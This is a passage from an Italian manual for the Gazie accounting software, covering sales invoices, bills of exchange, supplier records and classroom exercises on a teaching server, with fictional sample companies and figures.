Totale merce	% Sconto	Spese Incasso	Trasporto	Tot.Imponibile	Tot. I.V.A.	Bolli
2.000,00				2.000,00	400,00	

Pagamento: Rimessa diretta 30 g.d.f.

Castelletto I.V.A.

Imponibile	Aliquota	Imposta
2.000,00	IVA al 20%	400,00

TOTALE FATTURA
€ 2.400,00

Date di Scadenza e Importo Rate

Spedizione: A MEZZO DESTINATARIO

Firma/vettore:

Inizio trasporto: 06.02.2009 ore 16:02

Firma destinatario

Azienda per le esercitazioni piazza della Vittoria 3/4 31100 TREVISO (TV) Tel. C.F. 80011540269 P.I. 80011540269

L'inserimento diretto di una fattura, «normale» o accompagnatoria, implica l'aggiornamento automatico del magazzino, per lo scarico, se, alla voce `Archivi di base`, `Azienda`, è specificato tale automatismo (si deve vedere precisamente il campo `Contabilità magazzino`, al quale deve essere associato il valore '**`Automatica`**'). Va osservato --infatti-- che se una fattura viene generata da un documento di trasporto, con la funzione apposita, tale scarico automatico non avviene, perché già fatto in fase di emissione del documento di trasporto stesso.

Quando almeno una fattura risulta inserita, la voce `Vendite`, `Fatture`, mostra l'elenco di tali inserimenti, dove si evidenzia anche lo stato di aggiornamento del magazzino. Da tale elenco è possibile ottenere la visualizzazione dei documenti in formato PDF, ottenendo eventualmente una stampa ulteriore. Eventualmente è possibile procedere alla modifica dei documenti, selezionando il riferimento numerico relativo.

Per contabilizzare le fatture (e le note di accredito o di addebito) in contabilità generale, si utilizza la funzione `Vendite`, `Fatture`, `Contabilizza fatture`.

Figura 126.130. Richiesta di aggiornamento della contabilità generale in base alle fatture emesse, con la funzione `Vendite`, `Fatture`, `Contabilizza fatture`.

Vendite | Corrispettivi | Fatture | D.d.T. | Preventivi | Ordini | Effetti | Clienti | Contratti | Agenti | Statistiche

Genera i movimenti contabili a partire dai documenti fiscali della sezione IVA n. 1

Fino al :	6 Febbraio 2009
Registro IVA	delle Fatture di Vendita
Protocollo iniziale	1 / 2009
Protocollo finale	9999 / 2009
Indietro	ANTEPRIMA

Figura 126.131. Richiesta di aggiornamento della contabilità generale in base alle fatture emesse, dopo la conferma del periodo.

Vendite | Corrispettivi | Fatture | D.d.T. | Preventivi | Ordini | Effetti | Clienti | Contratti | Agenti | Statistiche

Genera i movimenti contabili a partire dai documenti fiscali della sezione IVA n. 1

Fino al :	6 Febbraio 2009
Registro IVA	delle Fatture di Vendita
Protocollo iniziale	1 / 2009
Protocollo finale	9999 / 2009
Indietro	ANTEPRIMA

ANTEPRIMA CONTABILIZZAZIONE

Data	Protocollo	Tipo	N.	Cliente/Fornitore	Imponibile	I.V.A.	Bolli su tratte	Totale
2009-02-06	1	FAI	1	Alberoni & C.	2.000,00	400,00	0,00	2.400,00

CONFERMA

Va osservato che, per garantire di non stravolgere la numerazione dei documenti, dall'elenco delle fatture (e degli altri documenti assimilabili) è possibile cancellare soltanto l'ultimo documento inserito.

Figura 126.132. Elenco delle fatture: si può vedere che solo l'ultima fattura inserita può essere rimossa.

Vendite | Corrispettivi | Fatture | D.d.T. | Preventivi | Ordini | Effetti | Clienti | Contratti | Agenti | Statistiche

Emetti Nuova Fattura Immediata — Genera Fatture Differite da D.d.T

Contabilizzazione Fatture — Ristampa Documenti già emessi

Emetti Nuova Nota Credito — Emetti Nuova Nota Debito

Documenti di vendita della sezione 1

Num. record = 3

Protocollo: [ ] Cerca — Mostra tutti

Prot.	Tipo	Numero	Data	Cliente	Status	Stampa	Cancella
3	Fattura Immediata	3	2009-05-08	Super bit srl	GENERATO		X
2	Fattura Immediata	2	2009-05-08	Zeta	GENERATO		
1	Fattura Immediata	1	2009-05-08	Alberoni & C.	GENERATO		

126.6.4 Note di credito e di debito

La voce `Vendite`, `Fatture`, conduce alla gestione delle fatture di vendita e delle note di credito o di debito a cliente. Le note di credito (o note di accredito) si ottengono con la voce `Vendite`, `Fatture`, `Emetti nota credito`; le note di debito si ottengono con la voce `Vendite`, `Fatture`, `Emetti nota debito`.

Le note di debito o di credito a cliente si inseriscono, si stampano e si contabilizzano esattamente come le fatture di vendita; dal punto di vista pratico possono essere considerate come dei casi particolari di fattura.

126.6.5 Effetti attivi

La gestione degli effetti attivi è gestita attraverso la voce `Vendite`, `Effetti`, da dove si ottiene già l'elenco di quelli esistenti.

Generalmente, gli effetti attivi dovrebbero essere prodotti automaticamente dalle fatture di vendita, ma in casi eccezionali possono essere inseriti manualmente, con la voce `Vendite`, `Effetti`, `Emetti effetto`.

Figura 126.133. Stato iniziale della maschera di immissione di un effetto, in modo manuale. Si ottiene da `Vendite`, `Effetti`, `Emetti effetto`.

Vendite | Corrispettivi | Fatture | D.d.T. | Preventivi | Ordini | Effetti | Clienti | Contratti | Agenti | Statistiche

Emissione Effetto a: [ ] inserire min. 2 carattere/i !

Tipo Effetto	
Data di Emissione *	7 Febbraio 2009
Numero Fattura	0
Sez. IVA	1
Data della Fattura	7 Febbraio 2009
Totale Fattura	0
Acconto/Saldo	S-Saldo
Importo Effetto *	0
Data di Scadenza *	28 Febbraio 2009
Pagamento *	12-Tratta 60 g.d.f.
Banca d'appoggio *	
Banca d'accredito	
I campi contrassegnati con * sono obbligatori!	Indietro Cancella INSERISCI !

La prima cosa richiesta per la compilazione manuale di un effetto è l'indicazione del cliente a cui risulta addebitato. La modalità di selezione del cliente è la stessa usata per le fatture e la contabilità generale. Confermando poi con il bottone grafico ☑, si ottiene la compilazione automatica di alcune informazioni predefinite, associate al cliente stesso.

Figura 126.134. Esempio di compilazione completa della maschera di immissione di un effetto.

Vendite | Corrispettivi | Fatture | D.d.T. | Preventivi | Ordini | Effetti | Clienti | Contratti | Agenti | Statistiche

Emissione Effetto a: Alberoni & C. Scandicci %%

Tipo Effetto	D
Data di Emissione *	7 Febbraio 2009
Numero Fattura	123
Sez. IVA	1
Data della Fattura	7 Febbraio 2009
Totale Fattura	4567
Acconto/Saldo	S-Saldo
Importo Effetto *	4567
Data di Scadenza *	28 Febbraio 2009
Pagamento *	7-Ricevuta bancaria 30 g.d.f.
Banca d'appoggio *	Banca della valle
Banca d'accredito	197000020-Banca x c/c
I campi contrassegnati con * sono obbligatori!	Indietro Cancella INSERISCI !

Al termine dell'inserimento manuale si torna all'elenco degli effetti già presenti.

Se sono state emesse fatture con condizioni di pagamento che prevedono effetti, si possono generare gli effetti relativi con la funzione `Vendite`, `Effetti`, `Genera effetti da fatture`.

Figura 126.135. `Vendite`, `Effetti`, `Genera effetti da fatture`.

Vendite | Corrispettivi | Fatture | D.d.T. | Preventivi | Ordini | Effetti | Clienti | Contratti | Agenti | Statistiche

Generazione Effetti da Fatture

Selezione Cliente	Tutti i clienti ! Inserire min. 2 caratteri!
Data di emissione effetti	28 Febbraio 2009
Data fatura inizio	1 Febbraio 2009
Data fattura fine	28 Febbraio 2009
	Indietro VISUALIZZA L'ANTEPRIMA !

Con il bottone VISUALIZZA L'ANTEPRIMA si ottiene l'elenco degli effetti che possono essere generati, in base al periodo selezionato (ed eventualmente anche in base al cliente scelto).

Figura 126.136. Anteprima degli effetti che vanno a essere generati.

Vendite | Corrispettivi | Fatture | D.d.T. | Preventivi | Ordini | Effetti | Clienti | Contratti | Agenti | Statistiche

Generazione Effetti da Fatture

Selezione Cliente	Tutti i clienti ! Inserire min. 2 caratteri!
Data di emissione effetti	28 Febbraio 2009
Data fatura inizio	1 Febbraio 2009
Data fattura fine	28 Febbraio 2009
	Indietro VISUALIZZA L'ANTEPRIMA !

ANTEPRIMA GENERAZIONE EFFETTI

Questa procedura genera gli effetti in base alle fatture emesse che hanno nella modalità di pagamento il campo "tipo pagamento" uguale a B,T o V.

CONFERMA LA GENERAZIONE DEGLI EFFETTI SOTTOSTANTI !

La fattura N.3/1	intestata a: Zeta Milano MI	di €	22005.46	genererà	
l'effetto N.4	scadenza: 09-03-2009			di €	22005.46
	TOTALI DELLA GENERAZIONE EFFETTI :	Fatture €	22005.46	Effetti €	22005.46

Al termine si deve confermare con il bottone CONFERMA (precisamente è scritto: «Conferma la generazione degli effetti sottostanti»).

Quando sono disponibili degli effetti, è possibile ottenerne la stampa, singolarmente, dall'elenco che si ottiene con la voce `Vendite`, `Effetti`, con un clic sull'icona della stampante.

Figura 126.137. Dall'elenco degli effetti che si ottiene con `Vendite`, `Effetti`, è possibile ottenere la stampa di un certo effetto con un clic sull'icona della stampante.

Vendite | Corrispettivi | Fatture | D.d.T. | Preventivi | Ordini | Effetti | Clienti | Contratti | Agenti | Statistiche

Genera Effetti da Fatture — Inserisci un Nuovo Effetto
Contabilizzazione Effetti — Stampa Effetti Generati
Distinta per Banca — Genera File Ri.Ba.

Effetti
Num. record = 4

Numero: [ ] Cerca | Mostra tutti

ID	Numero	Data Em.	Tipo	Scadenza	Cliente	Importo	Con/Sal	Banca	Stampa	Cancella
1	1	2009-02-28	B	2009-03-09	Zeta	24005.46	S			
2	2	2009-02-07	B	2009-02-28	Zeta	12345.00	S	Banca del lago		
3	3	2009-02-07	B	2009-02-28	Alberoni & C.	4567.00	S	Banca della valle		
4	4	2009-02-28	B	2009-03-09	Zeta	22005.46	S			

Figura 126.138. Esempio di stampa di un effetto.

Azienda per le esercitazioni
piazza della Vittoria 3/4 Tel.
31100 TREVISO (TV)
P.I. 80011540269
C.F. 80011540269

RICEVUTA N. 4 — Data di pagamento **09-03-2009** **euro** **€ 22005.46**

riceviamo la somma di
€ ventiduemilacinque/46

versata a mezzo

a SALDO della Ns. Fattura N. 3/1 del 07-02-2009 di € 22005.46

INCASSARE TRAMITE
ABI
CAB
()

EGR.SIG./SPETT.LE
Zeta

via Arbe, 50
20100 Milano (MI)
P.I. 01920430483

firma

Diversamente è possibile richiedere la stampa di un insieme di effetti, specificando l'intervallo di date di scadenza e l'intervallo di numeri di effetti, con la funzione `Vendite`, `Effetti`, `Stampa effetti`.

Figura 126.139. Maschera che si ottiene da `Vendite`, `Effetti`, `Stampa effetti`, compilata per ottenere tutti gli effetti esistenti e stampabili.

Vendite | Corrispettivi | Fatture | D.d.T. | Preventivi | Ordini | Effetti | Clienti | Contratti | Agenti | Statistiche

Stampa Effetti

Data Scadenza Inizio	1	Gennaio	2002
Data Scadenza Fine	31	Dicembre	2030
Numero inizio	1		
Numero fine	9999		

Indietro | STAMPA !

Dopo la stampa degli effetti, si deve procedere con quella della distinta per la loro presentazione. Questa si ottiene con la funzione `Vendite`, `Effetti`, `Distinta effetti`.

Figura 126.140. Maschera per la richiesta della distinta effetti, ottenuta dalla funzione `Vendite`, `Effetti`, `Distinta effetti`.

Vendite | Corrispettivi | Fatture | D.d.T. | Preventivi | Ordini | Effetti | Clienti | Contratti | Agenti | Statistiche

Distinta Effetti per Banca

Data della distinta	8 Febbraio 2009
Banca d'accredito	197000020-Banca x c/c
Data scadenza inizio	8 Febbraio 2009
Data scadenza fine	31 Marzo 2009
Numero inizio	1
Numero fine	9999
Effetti già distintati su carta o file?	No

Indietro | VISUALIZZA L'ANTEPRIMA !

Nella maschera da compilare per ottenere la distinta effetti, occorre specificare la data della distinta, la quale non può essere successiva alla prima scadenza utile. Si deve specificare anche la banca presso la quale gli effetti si vanno a presentare e l'intervallo di numeri di effetto da considerare (tale intervallo è obbligatorio; eventualmente si può scrivere da 1 a 9999 per includerli tutti). Richiede attenzione il campo denominato `Effetti già distintati`: il fatto di avere emesso una distinta rimane memorizzato nei dati degli effetti, in modo da evitare di produrre una nuova distinta con un effetto già preso in considerazione in precedenza; tuttavia, se si vuole ripetere la stampa della distinta, occorre mettere '**Sì**' in questo campo. Va osservato che il fatto di avere messo '**Sì**' nel campo `Effetti già distintati` consente comunque di ottenere la distinta di effetti che non sono ancora stati presi in considerazione.

Con il bottone grafico [VISUALIZZA L'ANTEPRIMA] si ottiene l'elenco degli effetti che corrispondono alla selezione fatta; successivamente, il bottone [CONFERMA] (ovvero: «Conferma la stampa della distinta sottostante») produce il file PDF della distinta effetti.

Figura 126.141. Esempio di distinta effetti.

Azienda per le esercitazioni
piazza della Vittoria 3/4 31100 TREVISO (TV)
Tel. C.F.:80011540269 P.I.:80011540269

Pagina 1 di 1

TREVISO, lì 08 Febbraio 2009

Distinta effetti dal 08-02-2009 al 31-03-2009

Scadenza	Effetto	Cliente / Indirizzo,P.IVA / Fattura	Appoggio	Importo
28-02-2009	n.2 del 07-02-2009 a saldo	Zeta via Arbe, 50 20100 Milano (MI) P.IVA 01920430483 Fatt.n.10 del 07-02-2009	ABI 0 CAB 0 Banca del lago	12.345,00
28-02-2009	n.3 del 07-02-2009 a saldo	Alberoni & C. piazza Tiritera, 28 50018 Scandicci (FI) P.IVA 01720430485 Fatt.n.123 del 07-02-2009	ABI 0 CAB 0 Banca della valle	4.567,00
09-03-2009	n.1 del 28-02-2009 a saldo	Zeta via Arbe, 50 20100 Milano (MI) P.IVA 01920430483 Fatt.n.2 del 07-02-2009	ABI CAB	24.005,46
09-03-2009	n.4 del 28-02-2009 a saldo	Zeta via Arbe, 50 20100 Milano (MI) P.IVA 01920430483 Fatt.n.3 del 07-02-2009	ABI CAB	22.005,46
		4 RICEVUTE BANCARIE per un totale di € 62.922,92		

TOTALE DEGLI EFFETTI VERSATI € 62.922,92

Solo dopo la stampa della distinta effetti, oppure dopo la generazione del file «RiBa» che si ottiene con lo stesso tipo di procedimento, è possibile procedere con l'aggiornamento della contabilità generale, con la funzione `Vendite`, `Effetti`, `Contabilizza effetti`.

Figura 126.142. Maschera per richiedere l'aggiornamento della contabilità generale a seguito dell'emissione degli effetti e della loro presentazione in banca. *Vendite*, *Effetti*, *Contabilizza effetti*.

Con il bottone VISUALIZZA L'ANTEPRIMA si ottiene l'elenco degli effetti che possono essere registrati in contabilità generale, in base alla selezione fatta nella maschera. Successivamente, con il bottone CONFERMA (precisamente: «Conferma la contabilizzazione degli effetti soprastanti»), si conclude l'operazione. La contabilizzazione non può essere ripetuta per gli stessi effetti e, in caso di problemi, occorre intervenire manualmente nella prima nota della contabilità generale.

126.6.5.1 Annullamento e ripristino di un effetto attivo

Se si annulla un effetto attivo, ottenuto da una fattura di vendita, questo non può essere rigenerato, ma va eventualmente inserito manualmente. Per poter ottenere una nuova generazione di un effetto annullato, si può comunque intervenire a mano nella tabella '**gaz_*nnn*tesdoc**' della base di dati, cancellando la lettera «S» dal campo ***geneff***.

Figura 126.143. Dal menù *PhpMyEdit* si seleziona la voce *Modifica tabelle* e qui si sceglie di accedere alla tabella '**gaz_*nnn*tesdoc**'.

Figura 126.144. Nel campo ***geneff*** deve essere cancellata la lettera «S», la quale indica che per quella fattura l'effetto è già stato generato.

X Ordinato per: id tes crescente
1 FAI FatturaSemplice 2010-10-16 1 1 1 2010-10-16 103000008 11 1 0 1 0

<< < Aggiungi Visualizza Modifica Copia Cancella > >> Vai a 1 Pagina: 1 / 1 Voci: 1

units 1000
volume 0.00
initra 2010-10-16 14:37:00
geneff
id contract 0
id con 0
status DA CONTAB
adminid amministratore
last modified 2010-10-16 14:39:10

Salva Applica Annulla

126.7 Acquisti

La voce _Acquisti_ porta al menù delle funzioni relative alla gestione degli acquisti. Di queste funzioni, la più importante è quella che consente di accedere all'anagrafica dei fornitori, mentre il resto può essere ignorato, se si contabilizzano manualmente (in contabilità generale e in contabilità di magazzino) i documenti provenienti dai fornitori.

126.7.1 Fornitori

Le informazioni sui fornitori fanno parte del piano dei conti della contabilità generale, ma l'accesso a tali dati (per la creazione, la modifica, e per la situazione dei crediti verso di loro) è possibile solo dalla funzione _Acquisti_, _Fornitori_. Va osservato che il codice dei fornitori è in pratica la porzione finale del codice del conto. Per esempio, se il mastro dei fornitori (come definito nella tabella _Archivi di base_, _Azienda_) è 212000000, il conto effettivo del fornitore che ha codice 000001, è in pratica 212000001.

Dalla voce _Acquisti_, _Fornitori_, del menù di Gazie, si ottiene una tabella riepilogativa dei dati dei fornitori, come si vede nella figura successiva.

Figura 126.145. Elenco dei fornitori, ottenuto da `Acquisti`, `Fornitori`.

Acquisti | Preventivi e Ordini | D.d.T. | Fatture | Bonifici-Addebiti | Fornitori | Lista Debiti | Scheda Carburante

Inserisci Nuovo Fornitore
Fornitori
Num. record = 7

	Ragione sociale:	Cerca	Mostra tutti						
Codice	Ragione sociale	Tipo	Città	Telefono	P.IVA - C.F.	Privacy	Paga	Visualizza e/o stampa	Cancella
000001	Tutto hardware	G	Monza (MI)	_	04732150158 04732150158				
000002	Elettricità spa	G	Roma (RM)	_	05779711000 05779711000				
000003	Telecomunicazioni spa	G	Milano (MI)	_	00488410010 00488410010				
000004	Delta	G	Vicenza (VI)	_	04832150157 04832150157				
000005	Errex	G	Pavia (PV)	_	01250490263 01250490263				
000006	Domenichelli	G	Treviso (TV)	_	02850410388 02850410388				
000007	Sonne	G	Treviso (TV)	_	04932150156 04932150156				

Da questa tabella, selezionando il codice di un fornitore, si passa alla modifica dei dati dello stesso; la colonna '**`Paga`**' contiene invece dei riferimenti che portano a produrre automaticamente le scritture contabili dei pagamenti dei debiti ancora presenti; la colonna '**`Visualizza o stampa`**', porta alla maschera per la produzione del partitario, già compilata per il fornitore considerato.

Per inserire un nuovo fornitore si deve procedere con la voce `Acquisti`, `Fornitori`, `Nuovo fornitore`. La maschera di immissione è sostanzialmente uguale a quella di modifica dei dati. La figura successiva mostra la modifica del fornitore Tutto hardware.

Figura 126.146. Modifica del fornitore Tutto hardware.

Acquisti | Preventivi e Ordini | D.d.T. | Fatture | Bonifici-Addebiti | Fornitori | Lista Debiti | Scheda Carburante

Modifica il Fornitore

Codice Fornitore *	000001
Ragione sociale 1 *	Tutto hardware
Ragione sociale 2	
Legale rappresentante	
Sesso/pers.giuridica (M/F/G) *	G
Data di nascita (gg-mm-aaaa)	00 00 0000
Luogo di nascita - Provincia	-
Indirizzo di spedizione *	via Nacchere, 78
CAP *	20052
Citta' - Provincia *	Monza - MI
Sede legale	
Nazione	IT - ITALIA
Telefono	
Fax	
Telefono Agente	
Codice Fiscale - Partita IVA	04732150158 - 04732150158
E_Mail	
Banca d'appoggio	Banca della valle
Porto resa	1-FMV - franco magazzino venditore
Spedizione	1-A MEZZO DESTINATARIO
Imballo	1-Scatole di cartone
Listino da applicare (1/2/3) *	1
IBAN	
Raggruppamento documenti (S/N)	S
Addebito spese bolli (S/N)	S
Addebito spese bancarie (S/N)	S
Addebito spese di fatturazione (S/N)	N
Stampa prezzi su D.d.T. (S/N)	N
Data ultima fattura (gg-mm-aaaa)	00 00 0000
Data ultima bolla (gg-mm-aaaa)	00 00 0000
Riduzione I.V.A	
Allegato IVA - Elenco Fornitori	Si
Modalità di pagamento *	
Conto di costo	330000004-Merci c/acquisti
% Sconto applicato	0.00
Status	
Annotazioni	
I campi contrassegnati con * sono obbligatori!	Indietro Cancella MODIFICA !

Esercitazioni con Gazie

Capitolo 127

127.1 Utilizzo di «gazie.informaticalibera.net» 8548

127.1.1 Organizzazione del sito 8548
127.1.2 Procedura per l’acquisizione di un’azienda 8549
127.1.3 Personalizzazione 8550
127.1.4 Eliminazione automatica 8552
127.1.5 Conclusione 8552

127.2 Esercitazione con la contabilità generale (coge1) 8552

127.2.1 Introduzione della prima nota 8553
127.2.2 Stampa del giornale di contabilità generale 8559
127.2.3 Stampa dei registri delle fatture 8560
127.2.4 Partitario dei conti 8561
127.2.5 Partitario selettivo 8562
127.2.6 Stampa del bilancio di verifica con le variazioni dei conti utilizzati 8563

127.3 Verifica sulla gestione della contabilità generale (coge2) 8565

127.4 Verifica guidata sulla chiusura (coge3) 8567

127.4.1 Inserimento della situazione dei conti, prima degli assestamenti 8567
127.4.2 Operazioni di assestamento 8568
127.4.3 Bilancio finale 8570
127.4.4 Conclusione della verifica sulla chiusura 8574

127.5 Esercitazione con la contabilità di magazzino (mag1) 8574

127.5.1 Movimenti da inserire 8575
127.5.2 Stampa del giornale di magazzino 8576
127.5.3 Stampa delle schede di magazzino 8576

127.6 Verifica sulla gestione della contabilità di magazzino (mag2) 8577

127.7 Esercitazione sulla gestione delle vendite (vend1) 8578

127.7.1 Emissione della fattura 8578
127.7.2 Contabilizzazione della fattura 8579
127.7.3 Emissione della cambiale tratta 8580
127.7.4 Distinta degli effetti 8581
127.7.5 Contabilizzazione degli effetti 8582
127.7.6 Emissione di una nota di accredito 8582
127.7.7 Contabilizzazione della nota di accredito 8584
127.7.8 Giornale di contabilità generale 8584
127.7.9 Registro IVA delle vendite 8585

127.7.10 Partitario clienti 8585
127.7.11 Giornale di magazzino 8586
127.8 Verifica sulla gestione dei documenti della vendita (vend2) 8587
127.9 Verifica sulla gestione dei documenti della vendita (vend3) 8594
127.10 Verifica integrata (int1) 8601
127.11 Verifica integrata guidata (int2) - prima parte 8604
127.11.1 Articoli di magazzino 8605
127.11.2 Inserimento della situazione iniziale 8605
127.11.3 Le operazioni dal 1 ottobre al 31 ottobre 8609
127.11.4 Conclusione della prima parte 8635
127.12 Verifica integrata guidata (int2) - seconda parte 8635
127.12.1 Conclusione 8646
127.13 Verifica integrata guidata (int2) - terza parte 8646
127.13.1 Le operazioni dal 1 novembre al 30 novembre 8647
127.13.2 Conclusione 8650

127.1 Utilizzo di «gazie.informaticalibera.net»

Presso ⟨*http://gazie.informaticalibera.net*⟩ è disponibile un servizio per l'utilizzo didattico di Gazie. Il servizio è destinato solo alla didattica; pertanto, oltre che essere fornito senza alcun tipo di garanzia, è certo che tutte le aziende, con i loro dati, vengono cancellate entro il mese di giugno di ogni anno, per essere ricreate entro l'inizio di un nuovo anno scolastico.

127.1.1 Organizzazione del sito

Dalla pagina principale di ⟨*http://gazie.informaticalibera.net*⟩ si può trovare il riferimento all'elenco delle aziende presenti, con il loro stato di utilizzo. In tale elenco, se l'azienda è stata usata effettivamente, si può vedere la data dell'ultimo accesso e il nome che è stato dato alla stessa. Nel nome dell'azienda è opportuno mettere i dati che servono a individuare chi la sta utilizzando e altre informazioni utili ai fini della valutazione dei materiali stampati che si producono con le esercitazioni.

127.1.2 Procedura per l'acquisizione di un'azienda

Per il momento non è prevista la registrazione al servizio: basta scegliere un'azienda che risulta libera, accedervi con il nominativo-utente '**amministratore**' e la parola d'ordine '**password**', procedendo poi con la modifica della parola d'ordine stessa. Va comunque considerato che l'elenco con lo stato delle aziende viene aggiornato soltanto ogni ora, pertanto potrebbe non essere accurato: se non si riesce ad accedere con la parola d'ordine '**password**', significa che l'azienda è già stata utilizzata nel frattempo e se ne deve scegliere un'altra.

Figura 127.1. Accesso a un'azienda libera, con l'utenza '**amministratore**' e la parola d'ordine '**password**'.

Authentication

User amministratore

Password ********

Login

Con il primo accesso, utilizzando la parola d'ordine predefinita, si ottiene la pagina di benvenuto all'utente, come si può vedere nella figura successiva.

Figura 127.2. Pagina di benvenuto.

Home | Home page di Gazie

Buonasera amministratore , questo è il tuo 42º accesso!
La tua password è del 28-09-2008

Version 4.0.2

Se vuoi uscire clicca sul pulsante

Logout

Stai amministrando la ditta: Azienda per le esercitazioni

Software Open Source (lic. GPL ver.2) per la gestione aziendale.

Progetto di: www.devincentiis.it

Sviluppo, documentazione, segnalazione errori: gazie.sourceforge.net

Linux APACHE MySQL powered by php TCPDF GetFirefox

A questo punto è necessario modificare la parola d'ordine dell'utente '**amministratore**'. Per farlo, basta selezionare con un clic la foto che rappresenta l'utente stesso e inizialmente è costituito dal disegno di un omino nero. Si accede alla scheda che appare nella figura successiva.

Figura 127.3. Scheda di configurazione dell'utente.

Archivi di Base | Azienda | C/C bancari | Aliquote IVA | Pagamenti | Banche | Spedizioni | Vettori | Imballi | Porti | Utenti

Modifica dati Utente amministratore

Cognome *	amministratore	
Nome		
	Immagine jpg (max 10kb): Scegli...	
Lingua	Italian	
Tema/Stile	stylesheet.css	
Livello di Abilitazione	9	
Num.Accessi	42	
Password (min.8 caratteri) *	********	
Conferma Password *	********	
Permessi Moduli	Tutti	Nessuno
Modulo: vendit	◉	○
Modulo: acquis	◉	○
Modulo: contab	◉	○
Modulo: magazz	◉	○
Modulo: finann	◉	○
Modulo: config	◉	○
Modulo: inform	◉	○
Modulo: root	◉	○
I campi contrassegnati con * sono obbligatori!	Indietro Cancella	MODIFICA !

Nella scheda di configurazione dell'utente '**`amministratore`**' è necessario cambiare la parola d'ordine, scrivendo la stessa in due campi differenti, tenendo conto che non può essere troppo breve. Eventualmente si può caricare una piccola immagine alternativa alla figura predefinita, ma tutti gli altri dati vanno lasciati intatti. Per confermare si deve fare un clic sul bottone [MODIFICA].

Una volta confermata la modifica della scheda dell'utente, viene richiesto di ripetere l'accesso, ma a questo punto il nominativo-utente rimane '**`amministratore`**', mentre la parola d'ordine è quella che è stata appena stabilita.

127.1.3 Personalizzazione

Per produrre delle esercitazioni ordinate, al posto del nome dell'azienda vanno messi i dati necessari all'insegnante da cui si è seguiti. In generale dovrebbe trattarsi del nome e cognome, della classe, del riferimento all'esercitazione da svolgere e del nome della scuola.

> Si osservi che le aziende il cui nome non viene personalizzato, sono cancellate automaticamente dagli script di manutenzione giornaliera. Pertanto, è indispensabile attribuire un nome all'azienda, cambiando quanto presente in modo predefinito.

Per modificare il nome dell'azienda si deve intervenire con la funzione *`Archivi di base`*, *`Azienda`*, come si vede nelle figure successive di esempio.

Figura 127.4. Come raggiungere dal menù la scheda di modifica dei dati principali dell'azienda.

Home | Home page di Gazie

- Vendite
- Acquisti
- Contabilità
- Magazzino
- Fine Anno
- Archivi di Base
  - Azienda
  - C/C bancari
  - Aliquote IVA
  - Pagamenti
  - Banche
  - Spedizioni
  - Vettori
  - Imballi
  - Porti
  - Utenti
- Tools & Info

Figura 127.5. Modifica del nome dell'azienda, per i fini dell'esercitazione da svolgere.

Configurazione Azienda

Ragione sociale 1 *	Daniele Giacomini 1A esercizio 1.3
Ragione sociale 2	Istituto Riccati-Luzzatti Treviso
	Seleziona file (solo in formato PNG, circa 400x400 max 64kb): Scegli...
Legale rappresentante	
Sesso/pers.giuridica (M/F/G) *	G
Data di nascita (gg-mm-aaaa)	26 01 200
Luogo di nascita - Provincia	Treviso - TV
Indirizzo *	piazza della Vittoria 3/4

Fino a che non si conosce bene l'applicativo Gazie, non conviene modificare altro, oltre al nome dell'azienda. Al termine della modifica si deve confermare con il bottone MODIFICA che appare in fondo alla scheda.

Se si intende utilizzare un'immagine alternativa per il logo aziendale, occorre tenere presente che il formato deve essere PNG, ma **senza trasparenze**. Diversamente non si ottiene la visualizzazione di quanto caricato e le stampe che lo utilizzano non vengono generate correttamente o non vengono generate affatto.

127.1.4 Eliminazione automatica

Le aziende a cui non viene cambiata la parola d'ordine dell'utente '**`amministratore`**', risultano libere e possono essere riutilizzate da altri utenti oppure possono essere eliminate automaticamente dagli script di manutenzione. Inoltre, le aziende utilizzate, ma la cui denominazione non è stata cambiata, vengono eliminate automaticamente ogni giorno. Infine, le aziende utilizzate regolarmente, ma per le quali l'ultimo accesso dell'utente '**`amministratore`**' risulta abbastanza lontano nel passato (qualche mese), vengono eliminate automaticamente.

A cicli giornalieri, gli script di manutenzione verificano la disponibilità di un numero sufficiente di aziende libere. In mancanza di tale quantità, aggiungono automaticamente delle aziende.

127.1.5 Conclusione

Una volta cambiata la parola d'ordine dell'utente '**`amministratore`**' e dopo che è stato modificato il nome dell'azienda, tutto è pronto per cominciare a lavorare. Come suggerisce la figura che mostra come si modifica il nome dell'azienda, è possibile utilizzare un'azienda differente per ogni esercitazione, allo scopo di non trascinare in avanti eventuali errori o pasticci fatti in precedenza.

Se si svolgono le esercitazioni dei capitoli successivi, va osservato che Gazie è in fase di sviluppo continuo e ci possono essere dettagli che non corrispondono.

127.2 Esercitazione con la contabilità generale (coge1)

Il blocco principale di una procedura di contabilità integrata è sempre costituito dalla gestione della contabilità generale. Gli obblighi di legge più importanti, legati a questa gestione, si riassumono brevemente nella tenuta del giornale di contabilità, dei registri IVA (registri delle fatture), del partitario (le schede dei conti) e nell'elenco di clienti e fornitori. Viene proposto un esercizio molto semplice, dal quale si vanno a produrre i vari documenti.

data		descrizione	dare	avere
04 gen	denaro in cassa	Prelievo dal c/c bancario.	2 500,00	
	banca X c/c			2 500,00
04 gen	merci c/acquisti	Acquisto di merci dal fornitore «Tutto hardware», con fattura n. 123 del 3 gennaio, protocollata con il numero 1.	2 000,00	
	IVA n/credito		400,00	
	debiti verso fornitori			2 400,00
05 gen	crediti v/clienti	Vendita di merci al cliente Alberoni, con fattura n. 1 del 4 gennaio.	1 200,00	
	merci c/vendite			1 000,00
	IVA n/debito			200,00
05 gen	merci c/acquisti	Acquisto di merci dal fornitore «Tutto hardware», con fattura n. 127 del 4 gennaio, protocollata con il numero 2. Nella fattura sono addebitati i bolli (IVA esclusa art. 15) per l'emissione di una tratta a 30 giorni dalla data della fattura stessa.	1 000,00	
	IVA n/credito		200,00	
	oneri fiscali diversi		14,60	
	debiti verso fornitori			1 214,60

127.2.1 Introduzione della prima nota

Per l'inserimento della contabilità generale si utilizza la prima nota, accessibile alla voce `Contabilità`, `Prima nota`. Le sezioni successive, attraverso delle figure, mostrano le maschere di inserimento e modifica dei movimenti richiesti. Va osservato che la numerazione attribuita ai movimenti, in modo automatico, non interferisce con quella del giornale.

127.2.1.1 Prima registrazione del 4 gennaio

Si tratta di una scrittura semplice, senza bisogno di annotare numeri di documento e, quindi, senza collegamento con i registri IVA. Si comincia con l'inserimento della data di registrazione e si compila soltanto una causale (descrizione) libera.

Avendo scelto una causale libera, ogni conto deve essere inserito espressamente, compilando la barra di inserimento che appare in basso. Si procede con il conto «denaro in cassa», il quale, secondo il piano dei conti, appartiene al mastro «disponibilità liquide».

Per confermare «il rigo», ovvero la riga compilata, occorre selezionare il bottone grafico ✓ che appare sulla destra, vicino alla scritta «aggiungi rigo». Il rigo viene trasmesso nella parte inferiore:

